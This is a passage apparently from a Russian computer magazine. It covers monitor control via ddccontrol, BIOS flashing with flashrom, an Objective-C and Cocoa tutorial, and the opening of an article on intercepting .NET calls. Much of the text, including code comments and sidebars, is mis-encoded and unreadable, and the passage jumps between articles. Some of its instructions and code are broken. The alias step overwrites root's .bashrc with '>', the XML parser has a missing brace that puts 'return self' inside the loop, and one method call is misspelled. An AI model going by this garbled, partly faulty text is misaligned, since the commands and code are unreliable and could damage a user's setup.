ние. Теперь можно подобрать оптимальные для вечернего времени 
значения яркости и контрастности, прописать их установку в скрипт, 
а скрипт засунуть в cron и наслаждаться автоматической регули-
ровкой яркости в зависимости от времени суток (правда, придется 
еще решить проблему изменчивости продолжительности дня).
Более интересные регистры не описаны в стандарте VESA. Напри-
мер, на многих мониторах регистр 0xe1 отвечает за выключение и 
включение монитора:

$ sudo ddccontrol dev:/dev/i2c-1 -r 0xe1 -w 0

$ sudo ddccontrol dev:/dev/i2c-1 -r 0xe1 -w 1

Засовываем команду выключения в alias рута:

$ sudo su

# echo "alias haltmon='ddccontrol dev:/dev/i2c-1 \

    -r 0xe1 -w 0'" > ~/.bashrc

И спокойно смотрим фильмы перед сном, не обременяя себя вста-
ванием с постели и выключением монитора после его окончания:

$ sudo su

# mplayer ôèëüì.avi; haltmon

Многие Samsung'овские мониторы поддерживают различные 
предустановки яркости и контраста, которые легко доступны через 
кнопку на их лицевой стороне. Было бы удобно переключаться 
между этими режимами во время старта определенных типов при-
ложений (например, режим «Game» при запуске игры). Это можно 
реализовать с помощью простых скриптов и команды ddccontrol 
(регистр 0xdc и значения от нуля по возрастающей для разных 
режимов).

Прошиваем BIOS
Бытует мнение, что корректно перепрошить BIOS можно только с 
помощью программ, доступных в DOS. К счастью, это неправда. Во-
первых, некоторые производители материнских плат уже начали 

включать в набор предоставляемых пользователям инструментов 
программы для Linux, а во-вторых, для Linux доступна полностью 
свободная универсальная программа для перепрошивки под 
названием flashrom.
Изначально flashrom разрабатывалась как часть проекта 
OpenBIOS, но очень скоро обросла функциональностью и стала 
самостоятельным проектом. Сегодня flashrom поддерживает 
большое количество материнских плат и может быть использована 
для записи не только открытых прошивок, но и вполне обычных 
обновлений BIOS, распространяемых производителем железа. 
Исходный код утилиты доступен на домашней странице, распо-
ложенной по адресу http://flashrom.org, а прекомпилированные 
пакеты включены в репозитории многих Linux-дистрибутивов и 
BSD-систем.
Важная особенность утилиты в том, что она никогда сознательно 
не угробит материнку. Даже чтобы заставить flashrom работать, 
придется сделать так, чтобы она на 100% правильно определила 
используемый чипсет и тип чипа EEPROM, хранящего текущую 
версию BIOS (а сделать это могут только разработчики утилиты). 
Во всех остальных случаях утилита просто откажется работать, и 
никакое указание похожего типа чипа и флагов '--force' здесь не 
поможет.
Именно поэтому первое, что необходимо сделать сразу после ус-
тановки программы — это запустить ее в режиме поиска EEPROM-
чипов:

$ sudo flashrom

На экран будет выведен список найденных чипов (их может быть 
несколько, некоторые производители материнских плат уста-
навливают на свои детища сразу две копии BIOS — на случай его 
повреждения или неудачной перепрошивки), либо сообщение «No 
EEPROM/flash device found», тогда все, что остается делать — это 
ждать обновлений программы.
Следующий шаг — сохранение текущей заведомо работоспособной 
прошивки в файл (одни разрабы знают, какие баги они добавили в 
новую версию):

$ sudo flashrom -r old_bios.bin

И только после этого можно запускать процесс записи обновления:

$ sudo flashrom -w new_bios.bin

Который  обязательно нужно завершить проверкой на корректность 
(соответствие между прошивкой и файлом):

$ sudo flashrom -v new_bios.bin

Если EEPROM-чипов на матери два, то выбор между ними 
производится с помощью флага '-c', сразу за которым следует 
имя чипа (обычно доступным для записи является первый). 
Вот и все. Прошить BIOS из Linux не только можно, но и чрез-
вычайно просто. Более того, все это можно сделать удаленно, 
используя SSH-соединение или даже систему для центра-
лизованного управления множеством серверов (такую как 
Puppet, например).

Выводы
За последние пять лет UNIX-системы существенно выросли и на-
учились самостоятельности. Сегодня типичный юниксоид больше 
похож на любопытного начинающего виндузятника, чем на крас-
ноглазого технаря, способного собрать LFS с закрытыми глазами. 
Однако ситуации, когда ручное вмешательство в систему необхо-
димо, не исчезли совсем, и время от времени даже самый зеленый 
нуб открывает терминал и начинает медитацию. z 

Часть вывода команды lshw
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       -ê        äåðîì!

 Всеволод  Захаров   seva@vingrad.ru

C превращается... 
в C с объектами
Objective-C появился через год после плюсов, в 1986 году, благо-
даря работе Brad Cox и Tom Love в компании Stepstone. Они хотели 
соединить высокий уровень абстракции и повторного использова-
ния кода, характерные для объектно-ориентированного программи-
рования, с производительностью и простотой синтаксиса языка С. 
Для этого им пришлось модифицировать C, добавив некоторые фичи 
из Smalltalk, позволяющие работать с объектами. Получившееся 
объектно-ориентированное расширение языка С впоследствии 
стало носить название Objective-C — «объектный C». Чтобы понять, 
как этот продукт скрещивания двух древних языков программиро-
вания попал на современные маки и разнообразные мобильные 
устройства Apple, нужно вспомнить историю яблочной компании...
Apple была основана в 1980 Стивом Джобсом и Стивом Возняком. 
После многих лет успеха на посту главы компании Джобса сменил 
бывший управляющий компании Coca-Cola Джон Скалли (John 
Sculley). Стив покинул Apple и через некоторое время основал 
новую компанию, назвав ее NeXT. Среди основных задач NeXT 
было создание операционной системы нового поколения. Для ее 
разработки было решено использовать среди прочих средств и 
Оbjective-C — он стал основой для API. Вскоре операционка от NeXT 

была готова и получила название NeXTStep. Собственно, это и было 
первое серьезное применение ObjC. Позже NeXT объединила усилия 
с  Sun Microsystems для создания следующей  версии NeXTStep — 
OPENStep (в настоящий момент продолжает свое существование 
только GNUStep, поддерживаемая сообществом свободного про-
граммного обеспечения). В середине 1990-х Джон Скалли покинул 
Apple, которая стремительно теряла свои позиции на рынке. Для 
спасения ситуации компания решила создать новую операционную 
систему взамен устаревающей Mac OS. После нескольких неудачных 
попыток Apple решила купить компанию, которая уже имеет свою 
операционку. Этой компанией, как ты уже наверно догадался, стала 
NeXT. Так Джобс снова оказался в Apple, на основе NeXTStep была 
создана Mac OS X, а Objective-C занял свое место среди инструмен-
тов Mac-разработчика и в API Mac OS X.

Разговорчивые объекты
Итак, Objective-C — объектно-ориентированное расширение языка 
С. А что в нем, собственно, есть такого, чего нет в тех же плюсах?
Среди основных достоинств Objective-C нужно перечислить следую-
щие:
• Синтаксис Objective-C очень прост. Чтобы его изучить, 
С-программисту понадобится всего пара дней. 
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Íà÷èíàåì êîäèòü ïîä Mac OS 
ñ ïîìîùüþ Objective-C 

 096

 Íåñìîòðÿ íà òî, ÷òî äëÿ ÌàêÎÑè ìîæíî ñîçäàâàòü ïðèëîæåíèÿ íà 
C/C++ èëè Java, Objective-C ôàêòè÷åñêè ñòàë ñòàíäàðòîì ïðè 
ðàçðàáîòêå ïîä ýòó îïåðàöèîíêó. Ýòî ïðîèçîøëî áëàãîäàðÿ  óäîáíîìó 
è ôóíêöèîíàëüíîìó API äëÿ ýòîãî ÿçûêà — ôðåéìâîðêó Cocoa. Îá Ob-
jective-C è Cocoa ìû ñåãîäíÿ è ïîãîâîðèì.
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Он является именно расширением языка С, в него 
просто добавлены новые возможности для объектно-
ориентированного программирования. Таким образом, 
абсолютно любая программа на С является программой 
и на Objective-C (что для С++, вообще-то, неверно).
• Objective-C — message-oriented language, то есть объ-
екты в нем общаются между собой не с помощью явного 
вызова инкапсулированных функций, как в C++ или Java, 
а при помощи отправки друг другу сообщений. Это позво-
ляет объекту-отправителю легко формировать нужное 
сообщение во время выполнения приложения, а объекту-
получателю — принимать произвольные сообщения, 
обработка которых не была в нем реализована явно, так 
как поиск кода, выполняемого при получении объектом 
сообщения, осуществляется во время выполнения, а не на 
этапе компиляции программы. Так, если среда выполне-
ния не находит в интерфейсе объекта сигнатуры входяще-
го сообщения, ему все равно дается шанс обработать это 
сообщение с помощью специального метода. Подобная 
динамическая реализация вызова методов делает систему 
более гибкой, лишь незначительно понижая ее произ-
водительность. Язык Objective-C предоставляет широкие 
возможности для работы с метаинформацией; так, у 
любого объекта непосредственно на этапе выполнения 
можно спросить его класс, список методов (с типами пере-
даваемых аргументов) и instance-переменных, проверить, 
является ли класс потомком заданного и поддерживает ли 
он заданный протокол (протокол — это список сообщений, 
на которые отвечает данный объект, некоторое подобие 
абстрактных классов C++ или интерфейсов Java) и т.д.

Здравствуй, мир!
Линус Торвальдс как-то сказал: «Разговоры — дешевка. 
Покажите мне код!».  
Показываю! Вот код HelloWorld

,
а на Obj-C. Кстати, если 

у тебя нет под рукой Mac OS X или хакинтоша, можешь 
попробовать в действии Objective-C и Cocoa c помощью 
GCC и проекта OpenStep. 

Наша первая прога на ObjC

#import <Cocoa/Cocoa.h>

void main()

{

    NSLog(@"Hello world!");

}

Наш HelloWorld сильно напоминает C++, не так ли? Но 
есть и свои особенности, которые ты, конечно, сразу 
заметил.
#import — директива препроцессора, аналогичная 
#include, но, в отличие от последней, она не позволяет 
включить заголовок более одного раза, то есть работает 
так же, как стражи включения в C++ (#include, разуме-
ется, тоже поддерживается).
Cocoa.h — заголовок, содержащий описания функций, 
классов и констант фреймворка Cocoa, о котором я гово-
рил в начале.
NSLog — одна из таких функций. Она выводит тексто-
вое сообщение в stdout вместе с timestamp’ом в начале 
строки. Помнишь NeXTStep? Префикс «NS» как раз 
оттуда :).
Строки в Objective-C  — отдельная история. NSLog полу-
чает на вход не C-строку, а объект класса NSString. 
Заметил собаку перед строкой в NSLog? Это указание 
компилятору ObjC создать константу типа NSString — 
в Сocoa используются не zerro-terminated строки, как 
в C, а объекты класса NSString или его наследников 
(NSMutableString например). Создатели Cocoa поза-
ботились о том, чтобы в NSString были реализованы 
все методы работы со строками, которые тебе чаще 
всего приходится использовать. Строки можно склеи-
вать, разбивать по разделителю, искать в них под-
строки, делать форматированный вывод и много чего 
другого.
На скриншоте ты можешь видеть код нашего простень-
кого примера в среде XCode и результат его выполнения.
XCode — это среда разработки, используемая при напи-
сании приложений для Mac OS и iOS. В ней довольно 
удобно работать, но, как и ко всему новому, к ней нужно 
привыкнуть. Кроме редактора и отладчика в нее инте-
грированы средства построения пользовательского 
интерфейса — «Interface Builder», управления версиями 
— «SCM» и еще множество всяких полезных фишек. В 
качестве компилятора используется допиленный Apple 
GCC. В качестве отладчика — GDB. В настоящий момент 

Небольшая часть иерархии классов Cocoa

В XCode 4 наконец-то интегрировали и Interface Builder

На диске ты найдешь 
проекты XCode для 
приведенных при-
меро

dvd

DVD

• developer.apple.com 
— если есть вопросы, 
касающиеся разработ-
ки под Mac OS
• www.cimgf.com — 
неплохой блог о Cocoa 
и Objective-C
• www.gnustep.org — 
сайт проекта GNUStep
• www.cocotron.org— 
кроссплатформенная 
разработка с исполь-
зованием ObjC, XCode 
и Cocoa для Windows

links

HTTP://WWW
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на сайте Apple свободно доступна для скачивания XCode 3, пробная 
версия XCode 4 доступна только для зарегистрированных Apple-
разработчиков. В общем, качай, устанавливай, пробуй...

Рабочий класс
Раз язык объектно-ориентированный, значит, в нем должны быть объ-
екты. Давай посмотрим, как их создавать и использовать в Objective-C. 

Каждый класс в коде на Objective-C разделен на интерфейс и реали-
зацию, которые принято хранить в отдельных файлах. Заголовочные 
файлы получают расширение «h», а файлы с реализацией — «m».
В интерфейсе класса описывается его имя, класс-предок, если 
такой есть, реализуемые протоколы, список публичных, приватных 
и защищенных полей, сообщения, на которые отвечает класс и объ-
екты этого класса.
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Исходник нашего XML-парсера
// Èìïîðòèðóåì êëàññû Cocoa

#import <Cocoa/Cocoa.h>

// Îïèøåì èíòåðôåéñ íàøåãî êëàññà

@interface RCBDayly : NSObject

{

 @private

 // NSMutableDictionary — àíàëîã map â C++

 NSMutableDictionary * Valutes;

}

// Êîíñòðóêòîð ïðèíèìàåò íà âõîä URL âåá-ñåðâèñà

-(RCBDayly *) initWithContentsOfURL:(NSURL*)url;

// Äëÿ äîñòóïà ê äàííûì êëàññà áóäåì èñïîëüçîâàòü

// ìåòîä getValueForCharCode. 

-(NSString *) getValueForCharCode: 

   (NSString *) char_code;

@end              

// À òåïåðü — ðåàëèçàöèÿ                                      

@implementation RCBDayly

-(RCBDayly*) initWithContentsOfURL:(NSURL*) url

{

 // Ïðîèíèöèàëèçèðóåì áàçîâûé êëàññ — NSObject

 [super init]; 

 // Ïîäãðóæàåì xml,êó ñ óêàçàííîãî URL

 NSError * err = nil;

 NSXMLDocument * cbr_xml = 

 [[NSXMLDocument alloc] initWithContentsOfURL:url 

                         options:0 error:&err];

 if (err != nil && [err code] != 0)

 {

  // Íå ïîâåçëî. Âîçìîæíî, ñåðâèñ íåäîñòóïåí, èëè 

  // XML-ïàðñåð íå ñìîã ðàçîáðàòü äîêóìåíò.

  // Âûÿñíèòü, ÷òî èìåííî ïðîèçîøëî, íàì ïîìîæåò

  // locolizedDescription èç NSError

  NSLog(@"Error:%@", [err localizedDescription]);

  // Îñâîáîäèì ïàìÿòü, âûäåëåííóþ ïîä íàø îáúåêò

  [self release]; 

  return nil;

 }

 // Ñîçäàäèì NSMutableDictionary

 Valutes = [[NSMutableDictionary alloc] init]; 

 // Íàì ïîòðåáóåòñÿ ìàññèâ XML-ýëåìåíòîâ 

 NSArray * nodes = nil;

 // Çàïîëíèì åãî ýëåìåíòàìè «Valute» èç XML’êè

 nodes = [[cbr_xml rootElement] 

                     elementsForName: @"Valute"]; 

 // Äëÿ êàæäîé âàëþòû ïîëó÷èì åå CharCode è

 // Value (êóðñ)

 for (int i = 0; i < [nodes count]; ++i)

 {

  NSXMLElement * valute = 

   (NSXMLElement *)[nodes objectAtIndex: i];  

  NSArray * names = nil;

  names = [valute elementsForName: @"CharCode"];

  NSArray * values = nil;

  values = [valute elementsForName: @"Value"];

  // Ó âàëþòû åñòü è èìÿ, è êóðñ?

  if ([names count] > 0 && [values count] > 0)

  {

    // Äîáàâèì ïàðó CharCode - Value â íàø 

    // NSMutableDictionary

    [Valutes setObject: 

     [(NSXMLElement *)

         [values objectAtIndex: 0] stringValue] 

     forKey:[(NSXMLElement *)

         [names objectAtIndex: 0] stringValue]];

  }   

  // Âåðíåì óêàçàòåëü íà ñåáÿ, êàê ëþáîé íîðìàëüíûé

  // êîíñòðóêòîð

  return self;

}

// Â ýòîì ìåòîäå ìû ïðîñòî îáåñïå÷èâàåì

// äîñòóï ê private-ïîëþ Valutes

-(NSString*) getValueForCharCode:

                (NSString*) char_code

{

 return [Valutes objectForKey: char_code];

}

@end

int main(int argc, char *argv[])

{

 // Ñîçäàäèì ïóë äëÿ âðåìåííûõ îáúåêòîâ,

 // êîòîðûå ãåíåðèò, íàïðèìåð, [NSURL 

URLWithString]

 NSAutoreleasePool * pool = 

      [[NSAutoreleasePool alloc] init];

 // Ñîçäàäèì îáúåêò êëàññà RCPDayly è 

 // èíèöèàëèçèðóåì åãî íóæíûì URL

 RCBDayly * dayly_values = 

  [[RCBDayly alloc] initWithContentsOfURL: 

   [NSURL URLWithString: 

    @"http://www.cbr.ru/scripts/XML_daily.asp"]];

 if (dayly_values == nil) 

 {

  // Ïðîèçîøëà îøèáêà ïðè èíèöèàëèçàöèè êëàññà

  return -1;              

 }

 // Ïî÷åì ñåãîäíÿ äîëëàð? :)

 NSLog([dayly_values getValueForCharCode:@»USD»]);

 [pool release]; // Îñâîáîäèì ïóë, à âìåñòå ñ íèì

 // è âñå âðåìåííûå îáúåêòû.

 return 0;

}
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// Êëàññ Dog — íàñëåäíèê NSObject

// Ðàçìåñòèì åãî èíòåðôåéñ â «Dog.h»

@interface Dog : NSObject 

{

// Çäåñü ðàçìåùàåì ïîëÿ îáúåêòà

@private

  int Age;

@public

  int Color;

}

// Ïîñëå ýòîãî èäåò îïèñàíèå ñîîáùåíèé, 

// íà êîòîðûå îòâå÷àåò îáúåêò.

// Ïåðåä ñîîáùåíèÿìè ýêçåìïëÿðîâ ñòàâèòñÿ «-», 

// à ïåðåä ñîîáùåíèÿìè êëàññà 

// (àíàëîã ñòàòè÷åñêèõ ìåòîäîâ â C++) — çíàê «+». 

// Â îïèñàíèè ñîîáùåíèÿ óêàçûâàåòñÿ èìÿ 

// ñîîáùåíèÿ, ñïèñîê ïåðåäàâàåìûõ ïàðàìåòðîâ

// è òèï âîçâðàùàåìîãî çíà÷åíèÿ.

- (void) voice; 

- (void) setAge: (int) age;

- (int) getAge;

@end

// Ðåàëèçàöèÿ ñîîáùåíèé íàøåãî êëàññà (Dog.m)

@implementation Dog

- (void) voice

{

  NSLog(@"Woof woof");

}

// Âîîáùå, äëÿ ýòîãî åñòü ñâîéñòâà,

// íî î íèõ êàê-íèáóäü â ñëåäóþùèé ðàç

- (void) setAge: (int) age

{

  Age = age; 

}

- (int) getAge

{

  return Age;

}

@end

Для вызова метода используется следующий синтаксис:

[my_class_pointer message_name: arg1 arg2_name: arg2 

arg3_name: arg3]

 Например: 

[dog1 setAge: 3]; 

Немного непривычно после точек и стрелок C++ и Java, но к тако-
му синтаксису быстро привыкаешь и даже начинаешь считать его 
удобным. Что интересно, мы можем посылать сообщения нулевому 
указателю (nil). Результат всегда будет nil.
После того, как класс описан и определена реализация для 
методов-обработчиков сообщений, можно создавать объекты этого 
класса.
Для того, чтобы создать объект, нужно сделать две вещи — выде-
лить для него память и инициализировать ее. В Objective-C эти два 
действия разделены. Это может показаться излишним, но на самом 
деле придает процессу создания объектов дополнительную гибкость. 
Чтобы создать объект Dog, нам потребуется следующая строчка:

Dog * dog1 = [[Dog alloc] init];

alloc — метод класса NSObject. Он выделит необходимое количество 
памяти под наш объект и вернет указатель на него. После этого мы 
можем выполнить инициализацию, послав только что созданному 
объекту сообщение init. Мы не переопределяли обработку сообщений 
alloc и init, поэтому будут использованы реализации из NSObject. На 
практике init часто приходится переопределять для того, чтобы произ-
вести какую-то начальную настройку объекта или передать дополни-
тельные параметры. init играет роль конструктора в ObjC. 

Cocoa Framework
Cocoa — íàáîð êëàññîâ è ôóíêöèé Objective-Ñ, ïðåäî-

ñòàâëÿþùèõ äîñòóï ê ñåðâèñàì Mac OS X äëÿ ïîëüçî-

âàòåëüñêèõ ïðèëîæåíèé. Ïîñêîëüêó äëÿ âçàèìîäåéñòâèÿ 

ñ êëàññàìè Cocoa íåîáõîäèìà ñðåäà âûïîëíåíèÿ ObjC, 

ðàçðàáîòêà ñ èñïîëüçîâàíèåì ýòîãî ôðåéìâîðêà âîçìîæ-

íà òîëüêî íà Objective-C. Äëÿ Ñocoa ñóùåñòâóåò âîç-

ìîæíîñòü êðîññïëàòôîðìåííîé ðàçðàáîòêè ïîä Linux è 

Windows áëàãîäàðÿ ïðîåêòàì GNUStep è cocotron.

Carbon Framework
Carbon — ïðîöåäóðíûé ôðåéìâîðê Mac OS X, ïðåäíàçíà-

÷åííûé äëÿ èñïîëüçîâàíèÿ â ïðèëîæåíèÿõ íà C/C++. Îí 

ïðåäîñòàâëÿåò îáðàòíóþ ñîâìåñòèìîñòü ñ áîëåå ðàííè-

ìè âåðñèÿìè Mac OS (íàïðèìåð, Mac OS 9). 

Â íàñòîÿùåå âðåìÿ âîçìîæíîñòè Carbon äëÿ ðàáîòû 

ñ Mac OS X ñòàíîâÿòñÿ âñå ñêðîìíåå. Òàê, íàïðè-

ìåð, íåâîçìîæíî ïîëó÷èòü äîñòóï ê GUI èç ïðèëîæå-

íèÿ Carbon äëÿ 64-áèòíîãî îêðóæåíèÿ — Apple îòäàåò 

ïðåäïî÷òåíèå Cocoa.

Небольшая часть иерархии классов Cocoa

Литературы на русском языке по ObjC пока немного. 
Но есть хорошие гайды на английском языке
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Теперь, когда мы создали экземпляр класса, мы имеем полное право 
отправлять ему сообщения:

int age = [dog1 getAge]; 

[dog1 voce];

Для того, чтобы уничтожить объект и освободить выделенную ему 
память и (возможно) другие ресурсы, ему нужно отправить сообще-
ние release:

[dog release]; 

Управление памятью реализовано в ObjC в виде подсчета ссылок. 
alloc создает объект с числом ссылок, равным единице. 
release уменьшает количество ссылок для данного объекта  на 1. 
Объект будет уничтожен, когда счетчик достигнет 0. Если тебе когда-
нибудь приходилось использовать COM, то такая реализация управ-
ления памятью должна быть тебе хорошо знакома.
Значение счетчика можно увеличивать, посылая объекту сообще-
ние retain. Кстати, начиная с Objective-C 2.0, стала доступна сбор-
ка мусора, ее можно совмещать с классическим управлением 
памятью с помощью подсчета ссылок. Кроме явного уничтоже-
ния объекта, ты можешь добавить его в пул временных объектов 
(NSAutoreleasePool), послав сообщение autorelease. Так часто посту-
пают, например, при возвращении объектов методы классов Cocoa 
(метод stringByAppendingString объектов NSString, например).

NSAutoreleasePool *pool;

pool = [[NSAutoreleasePool alloc] init];

NSString *str;

// Ïðîèíèöèàëèçèðóåì ñòðî÷êó è äîáàâèì 

// åå â pool

str = [[[NSString alloc] init] autorelease];

// ...

[pool drain]; // Çäåñü îáúåêò str áóäåò óíè÷òîæåí

В этом кратком обзоре ObjC следует, пожалуй, сказать еще об 
исключениях Objective-C. Обработка ошибок времени выполнения в 
С трудоемка и может порождать множество других ошибок. На самом 
деле в C есть два варианта обработки ошибок времени выполнения 
— возвращение значения функцией и изменение значения гло-
бальной переменной (errno например). В обоих случаях необходимо 
проверять результат работы каждой функции, выполнение которой 
может вызвать ошибку.
Код нормального процесса исполнения и код обработки ошибок 
смешивается, что не есть хорошо. К счастью, в ObjC, как и в C++, 
есть механизм исключений. 
Вот пример обработки исключительной ситуации в ObjC:

Обработка исключений в Objective-C

Cup * cup = [[Cup alloc] init]; 

@try

{

    [cup fill];

}

@catch ( NSException * exc )

{

   NSLog ( @"Exception caught: %@", exc );

}

@finally

{

   [cup release];

}

Конечно, описать полностью стандарт языка в одной короткой 
статье невозможно. Поэтому, если ты заинтересовался, я при-
вел ссылки на некоторые полезные ресурсы. 

«Кокао» для кодера
После экскурса по Objective-C можно поговорить о доступных 
фреймворках МакОСи.
Куда же без них? Фреймворк сделает за тебя всю грязную 
работу, чтобы ты мог спокойно заниматься основной задачей. 
Для разработки нативных приложений под МакОСь распро-
странение получили два фреймворка — Cocoa и Carbon. Если 
ты пишешь под Мак или под iOS на Objective-C, то твой выбор 
— Cocoa.  
Cocoa — это продукт эволюции программных сред NeXTSTEP 
и OPENSTEP, которые разрабатывались компанией NeXT. 
Перекочевав на Mac OS X, фреймворк сильно изменился, и в 
нем появилось множество новых классов. Все они, как в С# 
или Java, являются наследниками одного класса — NSObject.
В Cocoa представлены базовые типы, такие как NSNumber 
и NSString, различные контейнеры (NSArray, NSDictionary), 
обертки для системных объектов и т.д.
Давай-ка опробуем Cocoa и Objective-C в действии и создадим 
небольшое консольное Cocoa-приложение. 
В Сети существует множество веб-сервисов. Некоторые из них 
просто предоставляют информацию в удобном формате, напри-
мер, в XML. 
Одним из таких сервисов является сервис Российского 
Центробанка, предоставляющий информацию о текущих курсах 
валют. По адресу www.cbr.ru/scripts/XML_daily.asp можно полу-
чить XML’ку следующего вида:

<ValCurs Date="22.09.2010" name="Foreign Currency 

Market">

 <Valute ID="R01010">

  <NumCode>036</NumCode>

  <CharCode>AUD</CharCode>

  <Nominal>1</Nominal>

  <Value>29,4185</Value>

 </Valute>

  ...

 <Valute ID="R01020A">

  <NumCode>944</NumCode>

  <CharCode>AZN</CharCode>

  <Nominal>1</Nominal>

  <Value>38,6777</Value>

 </Valute>

</ValCurs>

Создадим класс ObjC RCBDayly, который будет скачивать эту 
XML’ку, парсить ее и предоставлять данные в удобном для нас 
виде. Исходник нашего класса ты можешь увидеть на врезке. 
На этом примере ты можешь видеть, как легко в Cocoa рабо-
тать с сетью и XML. При создании подобных приложений можно 
обойтись, конечно, и средствами POSIX, а вот если ты хочешь 
создать GUI-приложение, без Cocoa тебе не обойтись. Но об 
этом как-нибудь в другой раз.

Заключение
Разнообразные гаджеты от Apple производятся и продаются по 
всему миру в огромном количестве. Всех их объединяет то, что 
на них работает Mac OS X или iOS и, если ты хочешь освоить 
разработку под эти операционки, знания Objective-C тебе очень 
пригодятся. До встречи в эфире!z

CODING
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Ïåðåõâàòûâàåì .NET 

 Александр  Эккерт   stannic.man@gmail.com

АНАЛОГИЧНАЯ СИТУАЦИЯ СКЛАДЫВАЕТСЯ И С РАЗРАБОТКОЙ ПРО-
ГРАММНОГО ОБЕСПЕЧЕНИЯ — ПАРУ ЛЕТ НАЗАД ПРОГРЕССИВНОЕ 
ЧЕЛОВЕЧЕСТВО БЫЛО УВЕРЕНО, ЧТО ПЕРЕХВАТ ВЫЗОВА .NET ФУНК-
ЦИЙ — УДЕЛ ИЗВРАЩЕНЦЕВ. И я бы с ними согласился. 
О перехватах API-функций написано море книг и статей, снята 
куча видеоуроков. Если раньше эта тема казалась уделом гуру-
программистов, то теперь написать код, который будет перехваты-
вать системные вызовы, не составит проблемы даже для новичка — 
там и на самом деле нет ничего сложного. Разумеется, только если 

речь идет о стандартном WinAPI-интерфейсе. Идея перехвата вызо-
вов функций в .NET поначалу вызывала лишь улыбки программи-
стов. Улыбали и попытки написания вирусов под .NET Framework.
Времена изменились, и вместе с ними изменились требова-
ния, которые потенциальный заказчик ставит для разработчика. 
Теперь перехват вызовов в .NET-прогах — не такая уж никчемная 
и безумная задача, как казалось раньше. И теперь после прочте-
ния этой статьи ты легко сможешь взять под контроль свои .NET-
приложения!
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...Â ÏÐÎÃÅ ÎÁÍÀÐÓÆÈËÑß ÁÀÃ. ÏÅÐÂÎÅ ÎÁÐÀÙÅÍÈÅ Ê ÁÀÇÅ 
ÎÒÂÀËÈÂÀËÎÑÜ ÏÎ ÒÀÉÌÀÓÒÓ, ÍÎ ÑËÅÄÓÞÙÈÅ ØËÈ ÍÎÐÌÀËÜÍÎ. 
ÂÛßÑÍÈËÎÑÜ, ×ÒÎ ÈÍÄÓÑÛ ÍÀÊÎËÁÀÑÈËÈ ÌÅÒÎÄ Â 75000 ÑÒÐÎÊ, 
È ÏÎÄÊËÞ×ÅÍÈÅ Ê ÁÄ ÎÒÂÀËÈÂÀËÎÑÜ ÇÀ ÒÎ ÂÐÅÌß, ÏÎÊÀ ØËÀ JIT-
ÊÎÌÏÈËßÖÈß ÌÅÒÎÄÀ...

ÏÎ-ÌÎÅÌÓ, ÌÅÒÎÄ Â 75Ê ÑÒÐÎÊ ÍÀ Ñ# ÑÊÎÐÅÅ ÏÐÈÇÎÂÅÒ ÄÜßÂÎËÀ, 
×ÅÌ ÇÀÐÀÁÎÒÀÅÒ.
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Òåîðèÿ è ïðàêòèêà ïåðåõâàòà âûçîâîâ
.NET-ôóíêöèé
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 Ïîìíþ, íåñêîëüêî ëåò íàçàä ìû ñ äðóçüÿìè ÿçâèëè ïî ïîâîäó òîãî, 
÷òî ñêîðî ìîáèëüíûå òåëåôîíû óæå íå áóäóò îòñòàâàòü îò êîìïüþòåðîâ 
ïî ìîùíîñòè ìèêðîïðîöåññîðà. È âîò, ïîæàëóéñòà — â òîì ìåñòå, 
ãäå ÿ ðàáîòàþ, 20% êîìïîâ ÓÆÅ óñòóïàþò ïî ìîùíîñòè ñîâðåìåííîìó 
GalaxyS. 
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Собираем мозаику
Теперь можно со всей смелостью утверждать, что 
ответ Майкрософта вездесущей Java удался — разра-
ботчик на .NET на сегодняшний день так же востре-
бован, как и Java-программист. С внедрением .NET 
Framework принципиально поменялась схема «язык 
программирования — ОС». Если раньше речь шла 
об адаптации одного языка для разных платформ, 
то сейчас — об адаптации разных языков для одной 
платформы. Давай вкратце вспомним, что такое .NET, 
и что нам нужно знать, если мы хотим научиться 
основам перехвата в его среде. Дело в том, что в 
нашем случае мало будет просто знать язык про-
граммирования среды .NET, нужно еще иметь четкое 
представление о том, как он работает. 
Платформа .NET содержит общеязыковую среду 
выполнения (Common Language Runtime — CLR). 
Общеязыковая среда выполнения CLR поддерживает 
управляемое выполнение, которое характеризуется 
рядом преимуществ. Совместно с общей системой 
типов, общеязыковая среда выполнения CLR под-
держивает возможность взаимодействия языков 
платформы .NET. Кроме того, платформа .NET предо-
ставляет большую полнофункциональную библиотеку 
классов .NET Framework. Ну и конечно же, мета-
данные (Metadata) — это информация о сборках, 
модулях и типах, составляющих программы в .NET. 
Компилятор генерирует метаданные, а CLR и наши 
программы их используют. Когда загружаются сборка 
и связанные с ней модули и типы, метаданные под-
гружаются вместе с ними.

Metadata
На метаданных, как на одной из самых важных и 
принципиальных тем, мы сейчас и остановимся. 

Итак, в них хранятся все классы, типы, константы и 
строки, используемые .NET-приложением. Metadata, 
в свою очередь, делится на несколько отдельных куч 
(heaps) или потоков. В Microsoft .NET предусмотрены 
пять куч: #US, #Strings, #Blob #GUID и #~. 
• #US-куча хранит все строки, которые программист 
«заготовил» в своем коде. К примеру, если программа 
выводит на экран строку функцией Print("hello"), то hello 
будет храниться в #US-куче. 
• #Strings-куча хранит в себе такие вещи, как имена 
методов и имена файлов. 
• #Blob-куча содержит в себе бинарные данные, на 
которые ссылается сборка, такие как, например, сигна-
тура методов. 
• #~-куча содержит набор таблиц, которые определяют 
важное содержимое .NET-сборки. Например, там содер-
жатся таблицы AssemblyRef, MethodRef, MethodDef, и 
таблицы Param. Таблица AssemblyRef включает набор 
внешних сборок, от которых зависит сама сборка. 
Таблица MethodRef включает в себя лист внешних мето-
дов, которые используются сборкой. Таблица MethodDef 
содержит все методы, которые определены в сборке. 
Param, в свою очередь, содержит все параметры, кото-
рые используются методами, определенными в таблице 
MethodDef. 
«К чему эта скукота?», — спросишь ты. Спокойно! 
Сверни ковер нетерпения и положи его в сундук ожида-
ния, ведь без понимания того, «как же эта хрень работа-
ет», смысл статьи до тебя может и не дойти :).
Поговорим поподробнее о таблице MethodDef.  Для 
перехвата методов .NET-приложений это крайне нужная 
вещь.
Каждая запись в таблице методов содержит RVA 
(relative virtual address) метода, флаги метода, имя 
метода, смещение в куче #Blob на сигнатуру метода 

Metadata Expert – твой незаменимый помощник

На диске ты найдешь 
законченный ва-
риант либы, которая 
позволяет внедрять 
код в .NET’овские 
сборки

dvd

DVD

info
Для исследования 
Metadata в своих 
.NET-приложениях 
могу посоветовать 
.NET Metadata 
Expert — это удобный 
инструмент исследо-
вания приложений, 
разработанных для 
платформы Microsoft 
.NET Framework.

INFO

http://reflector.
red-gate.com — сайт 
программы .NET 
Reflector, который по-
зволяет восстановить 
исходный код .NET-
программ, даже если 
их сорцы недоступны. 
Рекомендуется 
к пользованию!
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и индекс в таблице Param, которая содержит первый параметр, 
